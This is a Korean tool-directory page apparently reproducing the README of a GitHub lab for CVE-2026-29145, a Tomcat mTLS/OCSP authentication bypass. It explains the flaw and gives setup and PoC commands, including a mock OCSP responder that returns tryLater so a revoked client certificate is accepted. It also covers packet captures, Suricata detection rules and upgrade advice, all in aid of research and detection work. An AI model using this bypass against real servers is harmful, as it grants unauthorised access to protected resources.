Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29145-Everything — CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP 소프트 실패 우회를 위한 재현 가능한 PoC 환경. 익스플로잇 스크립트, 모의 OCSP 응답기, Suricata 탐지 규칙 포함. | Kitploit
도구/GitHubGitHub/gkdgkd123/cve-2026-29145-everything
Authentication & AuthorizationVulnerability AnalysisExploitationIDS/IPS EvasionWeb Application ExploitationPenetration TestingIntrusion DetectionLearning & Education

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Labs & Practice
GitHubgkdgkd123/cve-2026-29145-everything

CVE-2026-29145-Everything

CVE-2026-29145 Apache Tomcat CLIENT_CERT + OCSP 소프트 실패 우회를 위한 재현 가능한 PoC 환경. 익스플로잇 스크립트, 모의 OCSP 응답기, Suricata 탐지 규칙 포함.

저장소 보기
1152개월 전아직 검토되지 않음

CVE-2026-29145 모든 것

Apache Tomcat CLIENT_CERT + OCSP soft-fail 우회 완전 재현 환경, 익스플로잇 트래픽 패킷, 그리고 Suricata 탐지 규칙 작성 자료입니다.

승인된 보안 연구 및 탐지 규칙 개발용으로만 사용하세요. 승인되지 않은 시스템에는 사용하지 마십시오.


취약점 요약

항목설명
CVECVE-2026-29145
구성 요소Apache Tomcat / Tomcat Native
유형인증 우회 (mTLS / CLIENT_CERT)
CVSS9.1 (NVD) / Moderate (Apache)
영향을 받는 버전Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13 등
수정 버전Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+

취약점 원리

Tomcat에서 CLIENT_CERT와 OCSP를 활성화하고 **ocspSoftFail=false(하드 실패)**로 설정한 경우, 일부 OCSP 실패 경로(특히 응답 상태 tryLater)가 여전히 하드 실패로 처리되지 않아 차단되어야 할 클라이언트 인증서가 수락되고 보호된 리소스에 접근할 수 있습니다.

공식 수정(예: Tomcat 커밋 fe26667c)에서는 OCSP TRY_LATER에 대한 FFM 경로 처리를 Tomcat Native와 일치시켰습니다.

본 저장소 실제 테스트 결론

Tomcat 10.1.52 + Tomcat Native 2.0.12 환경에서:

OCSP 동작ocspSoftFail결과
DER tryLater (30 03 0a 01 03)falseHTTP 200 — 우회 성공
HTTP 500falseTLS 거부 (하드 실패 적용)
OCSP 시간 초과falseTLS 거부
모든 실패true200 (예상된 soft-fail)

핵심: RFC 6960의 tryLater를 반환해야 함. HTTP 500만으로는 이 환경에서 우회가 발생하지 않습니다.


저장소 내용

CVE-2026-29145-Everything/
├── README.md                 # 이 파일
├── REPRODUCTION.md           # 상세 재현 노트 및 Suricata 힌트
├── docker-compose.yml        # 취약한 Tomcat + Mock OCSP
├── poc_exploit.py            # 익스플로잇/탐지 스크립트 (exit 10 = 취약)
├── simple_proxy_fail.py      # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh            # CA / 서버 / 클라이언트 인증서 생성 (OCSP AIA 포함)
├── capture_exploit.sh        # 한 번에 익스플로잇 및 패킷 캡처
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # CLIENT-CERT 사용자 매핑
│   ├── ROOT/                 # 공식 이미지 기본 ROOT의 최소 패치
│   └── protected/            # 보호된 리소스 + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ 이미 캡처된 익스플로잇 트래픽 (규칙 작성용)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # 메인 패킷: mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # OCSP 평문만
    ├── CVE-2026-29145-mtls-only.pcap       # 8443 TLS만
    └── exploit_response.html               # 익스플로잇 성공 응답 스냅샷

인증서 개인 키 디렉터리 certs/는 기본적으로 .gitignore에 의해 무시되므로 로컬에서 생성해야 합니다.


빠른 시작

의존성

  • Docker / Docker Compose
  • OpenSSL
  • Python 3.7+ (pip install -r requirements.txt 또는 시스템 python3-requests)
  • tcpdump (선택 사항, 패킷 캡처)

원클릭 재현

git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. 인증서 생성 (AIA는 Docker 내 OCSP 서비스 이름을 가리킴)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. 환경 시작 (기본 OCSP_MODE=try_later)
docker compose up -d
# healthy 상태까지 대기
docker compose ps

# 3. PoC 실행
python3 poc_exploit.py
# 예상 출력:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 종료 코드 10 = 취약; 0 = 익스플로잇 불가/패치됨

수동 확인:

curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

패킷 캡처 (트래픽 보존)

./capture_exploit.sh
# pcaps/CVE-2026-29145-*.pcap에 출력

저장소에는 이미 성공적인 익스플로잇 pcap이 포함되어 있어 Suricata 규칙 검증에 바로 사용할 수 있으며, 다시 캡처할 필요가 없습니다.


OCSP Mock 모드

# tryLater — CVE 트리거 경로 (기본)
OCSP_MODE=try_later docker compose up -d --force-recreate

# HTTP 500 실패 (이 환경에서는 하드 실패로 거부)
OCSP_MODE=fail docker compose up -d --force-recreate

# OCSP 성공 모의 (본문은 실제 DER이 아님, 연결 테스트용)
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

트래픽 특징 (Suricata 자료)

중요: 8443은 TLS 1.3 암호화된 mTLS이므로 Wireshark로 열면 깨진 데이터처럼 보입니다.
8888의 OCSP는 평문 HTTP이므로 규칙 작성 시 OCSP를 우선적으로 살펴보세요.
전체 설명은 **pcaps/README.md**를 참조하세요.

권장 파일

파일설명
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log복호화 가능한 전체 세션
pcaps/CVE-2026-29145-ocsp-only.pcap평문 OCSP (키 불필요)
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txtOCSP HTTP 읽기 쉬운 텍스트
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt복호화된 비즈니스 HTTP 텍스트
rules/cve-2026-29145.rules예제 Suricata 규칙

OCSP 평문 (네트워크에서 직접 매칭 가능)

POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

복호화된 비즈니스 HTTP (sslkeys.log 필요)

GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

Wireshark: 환경 설정 → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log

tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

자세한 내용은 REPRODUCTION.md 및 pcaps/README.md를 참조하세요.


구성 요점 (취약한 server.xml)

<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

애플리케이션 계층 CLIENT-CERT는 tomcat/protected/WEB-INF/web.xml을 참조하세요.


수정 권장 사항

  1. Tomcat을 10.1.53+(또는 해당 버전 라인의 수정 버전)로 업그레이드
  2. Tomcat Native를 **2.0.14+**로 함께 업그레이드
  3. ocspSoftFail 정책과 OCSP 접근 가능성을 재검토하고, 접근 불가/tryLater 동작에 대한 회귀 테스트 수행

정리

./cleanup.sh
# 또는
docker compose down -v

참고

  • Apache Tomcat 10 Security — CVE-2026-29145
  • NVD CVE-2026-29145
  • RFC 6960 OCSP
  • 상위 PoC 구조: CVE-2026-29145-Tester (본 저장소는 재현 가능한 구성과 tryLater 경로에 대해 보강 및 전체 기록을 추가했습니다)

면책 조항

이 프로젝트는 교육, 승인된 침투 테스트 및 침입 탐지 규칙 개발 목적으로만 사용됩니다. 사용자는 대상 시스템에 대한 합법적인 권한이 있는지 확인해야 합니다. 작성자는 어떠한 오용 행위에 대해서도 책임을 지지 않습니다.

도구 다운로드